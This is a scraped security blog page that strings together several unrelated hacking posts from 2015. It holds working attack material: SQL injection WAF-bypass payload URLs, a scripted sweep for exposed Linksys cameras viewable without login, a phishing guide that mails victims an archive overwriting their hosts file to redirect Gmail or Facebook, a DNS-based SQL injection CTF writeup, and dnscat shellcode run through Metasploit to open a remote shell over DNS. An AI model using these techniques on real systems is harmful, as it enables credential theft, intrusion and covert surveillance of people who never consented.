Live Ddos View

Live DDoS Attack Map | Apakau

Live DDoS Attack Map

This map is the fruit of collaboration between Google Ideas and Arbor Networks in an effort to raise awareness about distributed denial of service attacks in the world everyday.

Exploring the Data

The Digital Attack Map displays global DDoS activity on any given day. Attacks are displayed as dotted lines, scaled to size, and placed according to the source and destination countries of the attack traffic when known. Some features include:

  • Use the histogram at the bottom of the map to explore historical data.
  • Select a country to view DDoS activity to or from that country.
  • Use the color option to view attacks by class, duration, or source/destination port.
  • Use the news section to find online reports of attack activity from a specified time.
  • View the gallery to explore some examples of days with notable DDoS attacks.

Sign Up

Friday, July 31, 2015

[KALI LINUX] How to add new exploit to Metasploits


How to add new exploit to Metasploits
First of all, to find the new exploits for your metasploit, you can find it at Exploit-DB or 1337day and download the exploit. It might be in .rb (ruby) or either .py (python).



1- Once you have downloaded the exploit(s), put it on /root folder.

2- Open up terminal and type
root@kali:~#cd .msf4
This will change your current directory into the hidden Metasploit directory.

3- If you ls , you can see all the files and folders in the directory.

4- Now we are going to create a new folder for all new exploits. Type in
root@kali:~#mkdir exploits

5- cd into exploits folder
root@kali:~#cd exploits

6- As there is nothing in the directory, we going to create a folder for the new exploits. For example, the exploit that i've downloaded is an remote exploit. So i created a remote folder.
root@kali:~#mkdir remote

7- cd into remote folder
root@kali:~#cd remote

8- Copy and paste downloaded exploit from /root directory into the folder
root@kali:~#cp exploit.rb newname.rb

9- Now, to load the exploit module, open up your Metasploit Console by typing this command in the terminal
root@kali:~#msfconsole

10- Search for the exploit
msf>search exploitname

11- Load the exploit module
msf> use /exploit/remote/exploitname



That's it! Now you're ready to go! 

Friday, July 24, 2015

10 PRACTICAL SECURITY TIPS FOR DEVOPS

ISSUE 46 (July 2015)

DOWNLOAD ISSUE 46 HERE

The covered topics are:
  • The Art of War applied to web application security
  • Signature antivirus' dirty little secret
  • Review: Tresorit for Business
  • Making IoT security a reality
  • Report: Hack In The Box
  • Avoiding an IT disaster: Smart security for smart meters
  • The standardization of tokenization and moving beyond PCI
  • 10 practical security tips for DevOps
  • Identifying the insider threat
  • EMVÕs impact on increasing card-not-present fraud: Now what?
  • Identity crisis? Honoring the IAM legacy while taking action and embracing the future
  • Report: Infosecurity Europe 2015
  • IoT, interoperability, and identity

Friday, July 17, 2015

Hacking Linksys IP Cameras

s we know, there are several ways one could go about hunting for IP cameras on the net. The slowest way would be to portscan random IP addresses for certain ports and programmatically detect if the web interface of a given camera was available on the open ports found. This method definitely works, but it can be very time consuming as it consists of scanning random IP addresses hoping that we'll eventually come across the type of device we're interested in.
The second method, which would be much faster in finding our target devices, would be to use a search engine and query content that is unique to our target devices (e.g.: URLs, HTML title). This method, popularized by GHDB is simple and effective. The only issue I find with this strategy is that many of these IP cameras found happen to respond very slowly. This is probably due to other curious individuals running the same searches and accessing the same cameras.
The third method which would allow you to find more hidden Linksys IP cameras (i.e.: not cached by search engines a.k.a. the hidden web), would consist of bruteforcing subdomains within dynamic domain names (DDNS) used by our target devices (Linksys IP cameras in this case). For instance, the following are some of the dynamic domain names supported by the WVC54GCA and WVC80N Linksys IP camera models:
  • linksys-cam.com
  • mylinksyscamera.com
  • mylinksyshome.com
  • mylinksyscam.com
  • mylinksysview.com
  • linksysremotecam.com
  • linksysremoteview.com
  • linksyshomemonitor.com

Camera discovery process through subdomain bruteforcing

We first save the aforementioned domains in a file, doms in this case. Then we use dnsmap to bruteforce subdomains for each of the domains included in doms.
Using dnsmap's built-in wordlist:
$ for i in `cat doms`;do dnsmap $i -r ~/ -i 64.14.13.199,216.39.81.84&done;
Using a user-supplied wordlist, wordlist_TLAs.txt in this case, which is a three-letter acronym wordlist included with dnsmap v0.30:
$ for i in `cat doms`;do dnsmap $i -w wordlist_TLAs.txt -r ~/ -i 64.14.13.199,216.39.81.84&done;
NOTE: dnsmap's -i option allows ignoring user-supplied IP addresses from the results. In this case, 64.14.13.199 and 216.39.81.84 belong to the DDNS service provider, and would therefore be regarded as false positives in this case (we're only interested in IP cameras setup by their respective owners after all). For more info on how to use dnsmap, checkout the README file.
We then parse the IP addresses of the subdomains discovered by dnsmap:
$ grep \# dnsmap*.txt | awk '{print $4}' | sort | uniq > ips.txt
Next, we scan for ports that could potentially be used by a Linksys IP camera web server. In this case, we choose TCP ports 80, 1024 and 1025 as candidates:
$ sudo nmap -v -T4 -n -P0 -sS -p80,1024,1025 -iL ips.txt -oA nmap_http_ports.`date +%Y-%m-%d-%H%M%S`
This leaves us with a lot of discovered services, but we don't quite yet know which of them correspond to actual Linksys IP cameras web interfaces. There are many ways to fingreprint the web server of a Linksys IP camera. In this case we chose to create our own amap response signature, and then scan the open ports with amap.
Before amap is capable of identifying our target Linksys IP cams, the following response signature needs to be added to appdefs.resp, and amap then needs to be recompiled. Otherwise amap won't take the new signature into account:
http-linksys-cam::tcp::^HTTP/.*\nServer: thttpd/.*Accept-Ranges: bytes.*WVC
Please note that the previous amap response signature was only tested against the WVC54GCA and WVC80N Linksys IP camera models. So I'm not sure if it will work against other models. You've been warned!
Once recompiled, amap can be used to identify Linksys IP cameras from nmap's open ports results.
$ amap -i nmap_http_ports.2010-02-22-102001.gnmap -R -S -o amap_results.`date +%Y-%m-%d-%H%M%S`
We finally parse the IP addresses and open ports for all discovered Linksys IP cameras:
$ grep http-linksys-cam amap_results.2010-02-22-102253 | awk '{print $3}' | cut -d \/ -f1
x.x.167.245:1024
x.x.228.231:1025
x.x.228.231:80
x.x.64.22:80
x.x.206.70:1024
x.x.31.4:1024
x.x.164.28:1024
_[snip]_
At this point we have accomplished the task of creating a list of Linksys IP cameras without resorting to search engines or scanning random IP addresses. In order to discover more Linksys cameras, a more comprehensive wordlist would need to be used with dnsmap.
Of course, even further automation would be possible. For instance, an attacker may wish to programmatically identify which Linksys cameras from the previous list allowing video viewing to unauthenticated users:
$ amapfile=amap_results.2010-02-22-102253; for i in `grep http-linksys-cam $amapfile | awk '{print $3}' | cut -d \/ -f1`;do url="http://$i/img/main.cgi?next_file=main.htm"; if curl --connect-timeout 2 -s -I --url $url | grep ^"HTTP/1.1 501">/dev/null;then echo $url;fi;done;
x.x.206.70:1024/img/main.cgi?next_file=main.htm
x.x.105.221:1024/img/main.cgi?next_file=main.htm
x.x.105.221:80/img/main.cgi?next_file=main.htm
x.x.181.195:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1025/img/main.cgi?next_file=main.htm
x.x.30.196:1025/img/main.cgi?next_file=main.htm
_[snip]_
In addition to automatically checking for anonymous video viewing on all cameras found, other tasks such as checking for default credentials (admin/admin) could also be scripted, although this will NOT be included in this post (or any other at GNUCITIZEN).

Wednesday, July 15, 2015

SQL Injection Filter Evasion.

SQL Injection Filter Evasion.

This tutorial is purely for educational purposes!
Any misuse of my tutorials is at own risk!
This time we need the same things as my first tutorial,
instead of one vulnerable to union injection! We get an error saying illegal mix of characters.
Or another error warning perhaps. Something that proves theme of concept there is a WAF inside the web-app.
1. A vulnerable website. (With a illegal mix of char error when you tried union select).
2. Notepad. (this way you can write down what you tried already).
SQLI Filter Evasion.
1: Basic WAF and explanation.
 * Short explanation.
 * special characters and commenting out.
2. Advanced WAF Bypassing.
 * Splitting keywords.
 * Replacing keywords
 * capitalization.
 * Adding it all together.
 * using characters.
 * split the SQL statement.
 * Encoding characters.
3: Intrusion detection.
 * short explanation.
 * How to bypass Intrusion detection.
Basic WAF and explanation.
Basic WAF Bypassing – short explanation.
WAF or in long terms Web Application Firewall.
Is a small program written to filter and log SQL Injection.
To bad for the administrators in most cases this is a fail attempt to secure there network.
It is not so easy to do WAF bypassing,
once you get the hang out of it its actually starting to be fun.
You have to combine and try all sorts of things even find new things.
I can never explain in one tutorial how to bypass everything.
I don’t even know how to bypass everything. Every WAF differs from another its up to how its written. Of course if you get your hands on the admins WAF file its easy.
Here is an example WAF file.
One that i got from a small php game back in the days i was young.
That was my first SQL Injection hit!
Code: [Select]
/*
$_GET = array_map('trim', $_GET); 
//$_POST = array_map('trim', $_POST); 
$_COOKIE = array_map('trim', $_COOKIE); 
$_REQUEST = array_map('trim', $_REQUEST); 
if(get_magic_quotes_gpc()): 
    $_GET = array_map('stripslashes', $_GET); 
   //$_POST = array_map('stripslashes', $_POST); 
    $_COOKIE = array_map('stripslashes', $_COOKIE); 
    $_REQUEST = array_map('stripslashes', $_REQUEST); 
endif; 
$_GET = array_map('mysql_real_escape_string', $_GET); 
$_POST = array_map('mysql_real_escape_string', $_POST); 
$_COOKIE = array_map('mysql_real_escape_string', $_COOKIE); 
$_REQUEST = array_map('mysql_real_escape_string', $_REQUEST);
 */
// END OF ANTI MYSQL INJECTION

/* Logging */

$locatie = $_SERVER['REQUEST_URI'];
$array = Array();
$array[] = "mysql";
$array[] = "query";
$array[] = ")";
$array[] = ";";
$array[] = "}";
$array[] = "<script>";
$array[] = "</script>";
$array = Array();
$array[] = "mysql";
$array[] = ")";
$array[] = ";";
$array[] = "}";
$array[] = "INSERT";
$array[] = "DROPTABLE";
$array[] = "TRUNCATE";

$array[] = "UPDATE";
$array[] = "COOKIE";

$array[] = "FILES";
$array[] = "POST";
$array[] = "REQUEST";
$array[] = "SERVER";
$array[] = "INSERT";
$array[] = "%40";
$array[] = "%20";
$array[] = "";
$array[] = "DROPTABLE";
$array[] = "TRUNCATE"; 
$array[] = "WHERE";
$array[] = "VALUES";
$array[] = "SELECT";
$array[] = "FROM";
$array[] = "exit";
$array[] = "'";
$array[] = '"'; 
$array[] = ","; 
$array[] = "`";
$array[] = "echo";

foreach($array As $posinject) {
if(eregi($posinject,$locatie)) {
$time = 'NOW()';

mysql_query("INSERT INTO `injection`(`user_id`, `ip`, `location`, `date`)
VALUES ('".ID."', '".$_SERVER[REMOTE_ADDR]."', '".$locatie."', '".$tijd."')") or die(mysql_error());

header("location: news.php");

exit();

}
}
Now if you look inside that php you can see every word that is filtered out. Inside each array: $array[] = “”;
Now we know what a Web application Fire-wall is let’s move on to bypassing it.
Attention you can see it has an IP logger: /* Logging */
Code: [Select]
mysql_query("INSERT INTO `injection`(`user_id`, `ip`, `location`, `date`)
Basic WAF Bypassing – Special characters and commenting out.
At this point you will start and see a lot of special characters for commenting out, evading and bypassing filters with them. This is by these are the most common to use for bypassing.
Code: [Select]
 /*! */, (), #, --, +--+,--+-, -- -,,%20,/,//, <,> {,},...
/*! */ This is a comment in c syntax which MySQL uses.
It is the most common way to bypass a WAF.
This way the WAF thinks it is a comment and there for not dangerous to the web-app.
Of course if the waf has more advanced filtering this could get tricky.
How to use commenting out in SQL Injection:
Code: [Select]
www.[site].com/index.php?id=-1+/*!union*/+select+1,2,3,4--+-
I now get an error saying something about illegal mix of characters and it said something about select. That means it filters select as well.
Let’s bypass the select union and the select filter.
Code: [Select]
www.[site].com/index.php?id=-1+/*!union*/+/*!select*/+1,2,3,4--+-
In most cases that will solve the WAF.
If it doesn’t we need to try other methods.
lets try some other characters. In this case we use hex.
union+select+1,2,3,4–+-
Well if that worked go on exploiting and adding your WAF filters everywhere you think it filters.
If it did not lets move on. By the way later in the tutorial your going to see how to do a whole vector while WAF bypassing.
Advanced WAF Bypassing – Splitting keywords.
We used the method commenting out before. If that did not work out there are several other methods.
Ill explain on splitting keywords now.
Adding special characters that get removed by the was can make our vector execute. Let’s say the was replaces > with a space.
Then the below example:
Code: [Select]
www.[site].com/index.php?id=-1+uni>on+sel>ect+1,2,3,4--+-
Would get executed as following:
Code: [Select]
www.[site].com/index.php?id=-1+uni on+sel ect+1,2,3,4--+-
This way we have union select again.
There will be some cases where this will work do not forget this one.
Advanced WAF bypassing – Replacing keywords
There is another way to execute our vector called replacing the keywords.
Now how do we do this, we by now have to know the waf filters union and select.
Lets Make it filter out union and select!
This is what we are going to do:
UNIunionON+SELselectECT
The WAF will filter out union and select (orange words).
When he filters those key words the UNI and ON – SEL and ECT form one word again.
Some filters can’t replace it 2 times.
Example in URL:
Code: [Select]
www.[site].com/index.php?id=-1+UNIunionON+SeLselectECT+1,2,3,4--+-
Lets move on to some more Bypassing urg a headache??
Nah as i said ones you get the hang out of this you will like it actually.
See it as a puzzle sudoku or something. Only harder :).
Advanced WAF Bypassing – Capitalization.
Another way is to simply capitalize our characters.
Instead of union UnIoN In some basic WAF’s this will work.
An example in URL:
Code: [Select]
www.[site].com/index.php?id=-1+UnIoN+SeLeCt+1,2,3,4--+-
Advanced WAF Bypassing – Adding it all together.
We can combine this whet comments and other waf bypass methods.
Let’s show this in url:
Code: [Select]
www.[site].com/index.php?id=-1+/*!UnIoN*/+/*!SeLeCt*/+1,2,3,4--+-
It’s all about combining WAF’s the better you get at doing such the faster you will reach your target.
It’s a hell of a puzzle a brain cracker and that’s what so fun about it.
An entire vector to get the table names would be as following:
Code: [Select]
www.[site].com/index.php?id=-1+/*!UnIoN*/+SeLeCT+1,2,group_concat(/*!table_name*/),4+FrOM+/*information_schema*/,TaBlEs+/*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database()- -
Even though that’s basics it will get a lot more advanced in the real world of SQL Injection.
I also changed 2 other things here.
changing the . to a , Is also a bypassing method as some WAFs filter that.
Look at the end of the line where it should say “=” i have now placed +like+ this is because the database accepts like as = and i used it because = can be WAF filtered.
WAF Bypassing – using characters.
There is a whole bunch of characters available we can use to bypass WAF filters.
following characters can do this:
Code: [Select]
 |, ?, ", ', *, %, £ , [], ;, :, \/, $, €, ()...
by using these characters in lots of cases /*!*/ is not filtered. But the sign * is replaced whit a space and union – select are filtered. which means replacing the keywords would not work.
In these cases we can simply use the * character to split the keywords.
We would do the next logical thing:
Code: [Select]
www.[site].com/index.php?id=-1+uni*on+sel*ect+1,2,3,4--+-
Almost the same as splitting keywords.
But in this case only * is filtered out by the was replacing it whit a space having the same result as in splitting keywords.
WAF Bypassing – Split sql statement.
In some cases parts of the sql statement are filtered out.
For example union or select.
which means by only using one keyword: id=-1+union+1,2,3–+- or use only select.
we can in some cases bypass the filter.
WAF Bypassing – encoding characters.
By encoding characters for example the ‘,/*!*/,(,),. and more…
You can bypass some web application firewalls because it is not able to translate the character encoding.
Its rare but it happens. So its not so important but you never know.
Double encoding characters:
single quote ‘ %u0027
open (  = %u0028
close ) = %u0029
and a white space %u0020
Google if you want to find more. You can also do url encoding in hex (single encoding).
Hex(single encoding) is almost always filtered by the WAF.
Thats why i stated double. You can also try HTML char or MySQL char in the hackbar.
We had most of the WAF bypassing.
I know it’s still pretty basic but it is hard to explain WAF bypassing without being able to show live examples.
You’ll have to learn waf at own hand that the whole thing about WAF Bypassing.
There is another kind of filter. We call it intrusion detection.
Intrusion detection evasion!
Intrusion detection evasion a mouth full ain’t it!
Intrusion detection filters or 1=1– and 1=1 and so on…
This is for SQL injection in inputs. That will be one of my tutorials but i have a whole bunch of them to cover first.
So you will have to be patient i cover this already because its also filter evasion.
We need to Bypass Intrusion detection in order to know the website is vulnerable to SQL Injection.
Example of a basic intrusion detection program.
Code: [Select]
$HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection attempt”;
flow: to_server, established; content: “' or 1=1 --”; nocase; sid: 1; rev:1;
Which is the most basic intrusion detection program available but oh well it explains.
This php code said:
alert when he gets this or 1=1 — in his http server/ http ports so he displays the message, msg: “sql injection attempt”:
That is basic the filter could be more advanced then this.
Anyway lets explain how to evade it.
The program said i cant do 1=1 — I say the program is stupid and do 3=3 — which is also true.
The or and the = sign can be filtered as well. Resulting in our next logical step:
and 3 like 3 —
That should work for sure according to the intrusion detection system i showed.
In all those fail attempts of the admin he still won’t give in.
If like won’t work then do  1 < 2 this means 1 is smaller then 2 and there for database returns true.
Of course if fail admin did filter that as well.
We could try 5 > 4 — which means 5 is bigger then 4. Database should return true.
Easy huh a little maths game whit a fail admin.
lets try and 1599 – 1 like 1598 —
This said 1599 -1 is 1598 hah owned database.
You can also check for Unicode that’s a second option in evading intrusion detection.
unicode cheat sheet
Good luck, If you have questions? Hit me up!
Don’t mind my terrible English.

Meterpreter Script to BackDoor any Windows Machine

Meterpreter Script to BackDoor any Windows Machine (Swaparoo)by Un0wnX
Script: https://github.com/Un0wnX/swaparoo/blob/master/swaparoo.rb

 

 

Tuesday, July 14, 2015

Advance Phishing Method

Once you know the basics of Phishing web Page ,come to this post.
Requirements:

  •    Wamp server

  •    Install WinRar

 Ok friends, there’s one drawback in our traditional Phishing web page method. You know what is it? You are right, the url of our phishing web page. It may look like the real one,but it is not.

For eg: we may create the Phishing web page withwww.gmails.com but it’s not at all same as www.gmail.com
Probably, the experienced internet users will notice the URL of web Page. So they won’t fall in our Fishnet.
What we are going to do now?

Why should not we make the phishing web page’s URL looks exactly same as the real Domain Name? You may ask “is it possible?”. My answer is yes, you can. It sounds good? go ahead.

How we are going to implement?

We are going to send an email with an executable to victim.
If the victim double click the executable file, then you are done.
Now whenever the victim enter the real domain name (likewww.facebook.com) ,he will be in our phishing web page.
Don’t worry the domain name is original URL(like http://www.facebook.com)

Got surprised….!!!! You may ask how this is done,go ahead.

How it is done?

Executable file will change the Host file of Victim system.
 

What is host file?

The host file contains Domain Name and IP address associated with them.  Your host file will be in this path:

C:\Windows\System32\drivers\etc\

Whenever we enter the Domain name or URL (for eg:www.webaddress.com), a query will be send to the DNS (Domain Name server).  This DNS connect to the IP address which is associated with the Domain Name.   But before this to be done, thehost file in our system will check for the IP address associated with the Domain Name.  Suppose we make an entry with Domain Nameand IP address of our phishing web page(for  eg:www.webaddress.com wiht our ip 123.23.X.X),then there’s no query will be send to the DNS.
It will automatically connect to the IP address associated with theDomain Name.  This will fruitful for us to mask the PHISHING web page’s URL with Original Domain Name.

Now Let’s divide into the Implementation:

If you are hosting some other hosting site, probably you won’t get the unique IP address for your Phishing Web Page. You can have the IP Address of the hosting only. So if you try to use that IP address, the victim will not bring to your Phishing web page , they will bring to the hosting address.
So what you can do overcome this problem? You need to set up your own Webserver in home. Using Webserver softwares you can set up your own Hosting service.

How To set up Your own server?

Download the  Web server software’s like WAMP, XAMP.  My suggestion is WAMP.  Because it is my favorite one.  It is easy to use.

Downlad the wamp server

Install the WAMP server.  After installation completed, Go to this folder path:

C:\Wamp\WWW

And paste your phishing web page here.

Start the Wamp Server.

(Start->windows->All Programs->Wamp Server->start wamp server)

you can see the half circle icon(wamp server icon) in system tray(i mean near to the time). Click the icon and select the start all services.

 Now type your ip address in address bar of the web browser and hit enter. If you don’t know your ip address ,visitwww.whatismyip.com

Now you can see your Phishing web page in your Browser.

Modifying the Host file:

Copy the Host file from this path “C:\WINDOWS\system32\drivers\etc” to desktop.  Right click on the host file and open with Notepad.

You can see the localhost entry there.
Below that type as :

your_ip     domain_name

For eg:

123.xx.xx.xx  www.gmail.com
.
Save the File.

Compress the Host File:

Compress hosts file such that when victim opens it, it automatically gets copied to default
location C:\Windows\system32\drivers\etc and victim’s hosts file get replaced by our modified hosts file.

Right click on the Hosts file and select the Add to archive option.  Now follow the steps which is shown in picture:

Now send the zipped file to victim.  If he extract the zip file, then the hosts file will be replaced.
You are done.  Now whenever he try to visit the genuine or original website, the phishing webpage only will be shown.

 

Some Disadvantages of this Hack:

  •    If your IP address is dynamically changed ,then it is hard to implement it

  •   If your victim is advanced user,he may notice the certificates of site which is shown by browser.

Note: Your computer should be turned on always. Because if you turned off the computer,then probably host will not be in online. Again it will be available when you turned on. So your computer turned on when victim visits your site.

If you find the tutorial helpful then you like the blog and share it with your friends…………

Sunday, July 12, 2015

PlaidCTF writeup for Web-300 – whatscat (SQL Injection via DNS)

The set up

Whatscat is a php application where people can post photos of cats and comment on them (Here's a copy of the source).
The vulnerable code is in the password-reset code, in login.php, which looks like this:
  elseif (isset($_POST["reset"])) {
    $q = mysql_query(sprintf("select username,email,id from users where username='%s'",
      mysql_real_escape_string($_POST["name"])));
    $res = mysql_fetch_object($q);
    $pwnew = "cat".bin2hex(openssl_random_pseudo_bytes(8));
    if ($res) {
      echo sprintf("<p>Don't worry %s, we're emailing you a new password at %s</p>",
        $res->username,$res->email);
      echo sprintf("<p>If you are not %s, we'll tell them something fishy is going on!</p>",
        $res->username);
$message = <<<CAT
Hello. Either you or someone pretending to be you attempted to reset your password.
Anyway, we set your new password to $pwnew

If it wasn't you who changed your password, we have logged their IP information as follows:
CAT;
      $details = gethostbyaddr($_SERVER['REMOTE_ADDR']).
        print_r(dns_get_record(gethostbyaddr($_SERVER['REMOTE_ADDR'])),true);
      mail($res->email,"whatscat password reset",$message.$details,"From: whatscat@whatscat.cat\r\n");
      mysql_query(sprintf("update users set password='%s', resetinfo='%s' where username='%s'",
              $pwnew,$details,$res->username));
    }
    else {
      echo "Hmm we don't seem to have anyone signed up by that name";
    }
Specifically, these lines:
      $details = gethostbyaddr($_SERVER['REMOTE_ADDR']).
        print_r(dns_get_record(gethostbyaddr($_SERVER['REMOTE_ADDR'])),true);
      mail($res->email,"whatscat password reset",$message.$details,"From: whatscat@whatscat.cat\r\n");
      mysql_query(sprintf("update users set password='%s', resetinfo='%s' where username='%s'",
              $pwnew,$details,$res->username));
The $details variable is being inserted into the database unescaped. I've noted in the past that people trust DNS results just a bit too much, and this is a great example of that mistake! If we can inject SQL code into a DNS request, we're set!
...this is where I wasted a lot of time, because I didn't notice that the print_r() is actually part of the same statement as the line before it - I thought only the reverse DNS entry was being put into the database. As such, my friend Mak—who was working on this level first—tried to find a way to change the PTR record, and broke all kinds of SkullSpace infrastructure as a result.
I ended up trying to log in as 'admin'/'password', and, of course, failed. On a hunch, I hit 'forgot password' for admin. That sent me to a Mailinator-like service. I logged into the mailbox, and noticed somebody trying to sql inject using TXT records. This wasn't an actual admin—like I thought it was—it was another player who just gave me a huge hint (hooray for disposable mail services!). Good fortune!
Knowing that a TXT record would work, it actually came in handy that Mak controls the PTR records for all SkullSpace ip addresses. He could do something useful instead of breaking stuff! The server I use for blogs (/me waves) and such is on the SkullSpace network, so I got him to set the PTR record to test.skullseclabs.org. In fact, if you do a reverse lookup for '206.220.196.59' right now, you'll still see that:
$ host blog.skullsecurity.org
blog.skullsecurity.org is an alias for skullsecurity.org.
skullsecurity.org has address 206.220.196.59
$ host 206.220.196.59
59.196.220.206.in-addr.arpa domain name pointer test.skullseclabs.org.
I control the authoritative server for test.skullseclabs.org—that's why it exists—so I can make it say anything I want for any record. It's great fun! Though arguably overkill for this level, at least I didn't have to flip to my registrar's page every time I wanted to change a record; instead, I can do it quickly using a tool I wrote called dnsxss. Here's an example:
$ sudo ./dnsxss --payload="Hello yes this is test"
Listening for requests on 0.0.0.0:53
Will response to queries with: Hello/yes/this/is/test

$ dig -t txt test123.skullseclabs.org
[...]
;; ANSWER SECTION:
test123.skullseclabs.org. 1     IN      TXT     "Hello yes this is test.test123.skullseclabs.org"
All I had to do was find the right payload!

The exploit

I'm not a fan of working blind, so I made my own version of this service locally, and turned on SQL errors. Then I got to work constructing an exploit! It was an UPDATE statement, so I couldn't directly exploit this - I could only read indirectly by altering my email address (as you'll see). I also couldn't figure out how to properly terminate the sql string (neither '#' nor '-- ' nor ';' properly terminated due to brackets). In the end, my payload would:
  • Tack on an extra clause to the UPDATE that would set the 'email' field to another value
  • Read properly right to the end, which means ending the query with "resetinfo='", so the "resetinfo" field gets set to all the remaining crap
So, let's give this a shot!
./dnsxss --payload="test', email='test1234', resetinfo='"
Then I create an account, reset the password from my ip address, and refresh. The full query—dumped from my test server—looks like:
update users set password='catf7a252e008616c94', resetinfo='test.skullseclabs.orgArray ( [0] => Array ( [host] => test.skullseclabs.org [class] => IN [ttl] => 1 [type] => TXT [txt] => test', email='test1234', resetinfo='.test.skullseclabs.org [entries] => Array ( [0] => test', email='test1234', resetinfo=' ) ) ) ' where username='ron'
As you can see, that's quite a mess (note that the injected stuff appears twice.. super annoying). After that runs, the reset-password page looks like:
Don't worry ron, we're emailing you a new password at test1234

If you are not ron, we'll tell them something fishy is going on!
Sweet! I successfully changed my password!
But... what am I looking for?
MySQL has this super handy database called information_schema, which contains tables called 'SCHEMATA', 'TABLES', and 'COLUMNS', and it's usually available for anybody to inspect. Let's dump SCHEMATA.SCHEMA_NAME from everything:
./dnsxss --payload="test', email=(select group_concat(SCHEMA_NAME separator ', ') from information_schema.SCHEMATA), resetinfo='"
Then refresh a couple times to find:
Don't worry ron, we're emailing you a new password at information_schema, mysql, performance_schema, whatscat

If you are not ron, we'll tell them something fishy is going on!
Great! Three of those are built-in databases, but 'whatscat' looks interesting. Now let's get table names from whatscat:
./dnsxss --payload="test', email=(select group_concat(TABLE_NAME separator ', ') from information_schema.TABLES where TABLE_SCHEMA='whatscat'), resetinfo='"
Leads to:
Don't worry ron, we're emailing you a new password at comments, flag, pictures, users

If you are not ron, we'll tell them something fishy is going on!
flag! Sweet! That's a pretty awesome looking table! Now we're one simple step away... what columns does 'flag' contain?
./dnsxss --payload="test', email=(select group_concat(COLUMN_NAME separator ', ') from information_schema.COLUMNS where TABLE_NAME='flag'), resetinfo='"
Leads to:
Don't worry ron, we're emailing you a new password at flag

If you are not ron, we'll tell them something fishy is going on!
All right, we know the flag is in whatscat.flag.flag, so we write one final query:
./dnsxss --payload="test', email=(select group_concat(flag separator ', ') from whatscat.flag), resetinfo='"
Which gives us:
Don't worry ron, we're emailing you a new password at 20billion_d0llar_1d3a

If you are not ron, we'll tell them something fishy is going on!
And now we dance.

Weaponizing dnscat with shellcode and Metasploit

If you just want to grab the files, here are some links:
If you want to get your hands dirty, you can compile the source -- right now, it's only in svn:
svn co http://svn.skullsecurity.org:81/ron/security/nbtool
cd nbtool
make
That'll compile both the standard dnscat client/server and, if you have nasm installed, the Linux and Windows shellcodes. On Windows, you'll need nasm to assemble it. I installed Cygwin, but you can compile the Windows shellcode on Linux or vice versa if you prefer. The output will be in samples/shellcode-*/. A .h file containing the C version will be generated, as well:
$ head -n3 dnscat-shell-test.h
char shellcode[] =
        "\xe9\xa2\x01\x00\x00\x5d\x81\xec\x00\x04\x00\x00\xe8\x4e\x03\x00"
        "\x00\x31\xdb\x80\xc3\x09\x89\xef\xe8\x2e\x03\x00\x00\x80\xc3\x06"
...
And, of course, the raw file is output (without an extension), that can be run through msfencode or embedded into a script:
 $ make
[...]
$ wc -c samples/shellcode-win32/dnscat-shell-win32
997 samples/shellcode-win32/dnscat-shell-win32
$ wc -c samples/shellcode-linux/dnscat-shell-linux
988 samples/shellcode-linux/dnscat-shell-linux
Unless you want to be sending your cmd.exe (or sh) shell to skullseclabs.org, you'll have to modify the domain as well -- the very last line in the assembly code for both Windows and Linux is this:
get_domain:
 call get_domain_top
 db 1, 'a' ; random
 db 12,'skullseclabs' ; <-- To modify domain, change this...
 db 3,'org' ; <-- and this. The number is the section length.
 db 0
The two lines with the domain have to be changed. The number preceding the name is, as the comment says, the length of the section ('skullseclabs' is 12 bytes, and 'org' is 3 bytes). This process is automated with the Metasploit payload, as you'll see.

Encoding with msfencode

msfencode from the Metasploit project is a beautiful utility. I highly recommend running shellcode through it before using it. The most useful aspect with shellcode is, at least to me, the ability to eliminate characters. So, if I need to get rid of \x00 (null) characters from my strings, it's as easy as:
$ msfencode -b "\x00" < dnscat-shell-win32 > dnscat-shell-win32-encoded
[*] x86/shikata_ga_nai succeeded with size 1024 (iteration=1)
If you're planning on using this in, for example, Metasploit, you don't have to worry about the msfencode step -- it'll do that for you.

Metasploit payload

Speaking of metasploit, yes! I wrote a metasploit payload for dnscat.
First, there are a number of caveats:
  • This is highly experimental
  • This doesn't have a proper "exitfunc" call -- it just returns and probably crashes the process
  • This is set up as a single stage, right now, and is 1000 or so bytes -- as a result, it won't work against most vulnerabilities
  • The dnscat server isn't part of Metasploit, yet, so you'll have to compile run it separately
That being said, it also works great when it's usable. The target I use for testing is Icecast 2 version 2.0.0 (WARNING: don't install vulnerable software on anything important!), which is included on the SANS 560 and 504 CDs (thanks Ed!). It's free, GPL, reliable, and has 2000 bytes in which to stuff the payload.
So, the steps you need to take are,
  1. Install Icecast2 on your victim machine (Win32)
  2. Download the experimental dnscat Metasploit module and put it in your Metasploit directory (modules/payloads/singles/windows/)
  3. Fire up a dnscat server on your authoritative DNS server (dnscat --listen) -- see the dnscat wiki for more information
  4. Run Metasploit (msfconsole) and enter the following commands:
  5. msf > use exploit/windows/http/icecast_header
    
    msf exploit(icecast_header) > set PAYLOAD windows/dnscat-shell-win32
    PAYLOAD => windows/dnscat-shell-win32
    
    msf exploit(icecast_header) > set RHOST 192.168.1.221
    RHOST => 192.168.1.221
    
    msf exploit(icecast_header) > set DOMAIN skullseclabs.org
    DOMAIN => skullseclabs.org
    
    msf exploit(icecast_header) > exploit
    [*] Exploit completed, but no session was created.
    
    Meanwhile, on your dnscat server, if all went well, you should see:
    $ sudo ./dnscat --listen
    Waiting for DNS requests for domain '*' on 0.0.0.0:53...
    Switching stream -> datagram
    Microsoft Windows [Version 5.2.3790]
    (C) Copyright 1985-2003 Microsoft Corp.
    
    C:\Program Files\Icecast2 Win32>
    
    You can type commands in, and they'll run just like a normal shell. Be warned, though, that it is somewhat slow, due to the nature of going through DNS.

    Why bother?

    The big advantage to this over traditional shellcode is that no port, whether inbound or outbound, is required! As long as the server has a DNS server set that will perform recursive lookups, it'll work great!

    Feedback

    As I said, this is the first time I've ever written shellcode or x86.

Defcon Quals: Access Control (simple reverse engineer)

Running it

If you wnat to follow along, I uploaded all my work to my Github page, including a program called server.rb that more or less simulates the server. It's written in Ruby, obviously, and simulates all the responses. The real client can't actually read the flag from it, though, and I can't figure out why (and spent way too much time last night re-reversing the client binary before realizing it doesn't matter).
Anyway, when you run the client, it asks for an ip address:
$ ./client
need IP
The competition gives you a target, so that's easy (note that most of this is based on my own server.rb, not the real one, which I re-created from packet captures:
$ ./client 52.74.123.29
Socket created
Enter message : Hello
nope...Hello
If you look at a packet capture of this, you'll see that a connection is made but nothing is sent or received. Local checks are best checks!
